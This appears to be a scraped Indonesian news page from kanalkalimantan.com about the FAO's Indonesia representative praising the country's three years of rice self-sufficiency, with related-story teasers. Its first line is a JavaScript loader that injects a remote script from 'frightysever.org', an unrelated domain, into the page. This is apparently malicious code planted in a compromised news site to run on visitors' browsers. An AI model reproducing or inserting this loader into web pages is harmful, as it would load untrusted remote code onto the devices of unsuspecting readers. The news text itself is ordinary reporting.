(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKAIMANTAN.COM, BANJARBARU – Kepala Perwakilan Badan Pangan Dunia (FAO) Indonesia Rajendra Aryal menyampaikan selamat atas prestasi Indonesia mencapai swasembada beras selama tiga tahun berturut-turut.
Menurut Rajendra, prestasi tersebut sangat luar biasa mengingat tantangan pangan yang dihadapi saat ini tidaklah mudah.
“Capaian ini diraih dalam situasi ketahanan pangan dunia yang sedang menghadapi tantangan pandemi Covid-19, dampak perubahan iklim, dan konflik yang sedang terjadi di dunia, tetapi Indonesia telah menunjukkan performa yang sangat bagus,” kata Rajendra, dikutip dari rilis resmi Kemantan RI kepada kanalkalimantan.com, Selasa (16/8/2022).
Rajendra menyampaikan Badan Pangan Dunia atau FAO bersyukur dan sangat bergembira karena Indonesia di bawah kepemimpinan Presiden Joko Widodo yang mampu mencukupi kebutuhan masyarakat yang banyak.
Baca juga: KPK Geledah Kantor PT Batulicin Enam Sembilan, Terkait Kasus Mardani Maming
Capaian tersebut sekaligus bukti bahwa pertanian merupakan sektor yang tangguh dan Indonesia berhasil meningkatkan produktivitasnya secara baik.
“Sangat membahagiakan bagi kami untuk dapat menyaksikan Indonesia melangkah maju dalam menggapai swasembada beras, dan kami sangat bangga menjadi bagian dari upaya dan kerja keras tersebut,” ujar Rajendra.
Rajendra juga menyampaikan terima kasih atas kerja keras Menteri Pertanian Syahrul Yasin Limpo yang secara baik mampu mengimplementasikan semua arahan Presiden Jokowi.
“Kami ingin mengucapkan selamat kepada Bapak Menteri Syahrul Yasin Limpo atas perananya dalam menjamin produksi pangan yang mencukupi untuk populasi Indonesia yang cukup besar,” ucap kepala perwakilan Badan Pangan Dunia tersebut.
Rajendra menilai transformasi sistem pangan dan pertanian merupakan strategi yang sangat diperlukan dalam penguatan pangan Indonesia, terutama menghadapi tantangan yang sangat komplek saat ini.
“Saat ini, dunia sedang menghadapi tantangan ketahanan pangan yang cukup sulit, dan sekali lagi kami ingin menyatakan komitmen FAO untuk bekerja secara erat dengan Indonesia dalam upaya transformasi menuju sistem pangan dan pertanian yang efisien, inklusif, tangguh, dan berkelanjutan,” jelasnya.
Sebelumnya, lembaga penelitian padi internasional atau IRRI memberikan penghargaan kepada Presiden Jokowi karena Indonesia dinilai mampu mencapai swasembada beras selama tiga tahun terakhir secara berturut-turut.
Baca juga: Rambo Pakai Parang di Liang Anggang Dibawa Polisi
IRRI menilai Indonesia mencapai swasembada karena mampu memenuhi kebutuhan masyarakat lebih dari 20 persen.
Diketahui, produksi beras nasional sejak 2019 konsisten berada di angka 31,3 juta ton, sehingga berdasarkan hitungan BPS jumlah stok akhir pada April 2022 tertinggi di angka 10,2 juta ton. (Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.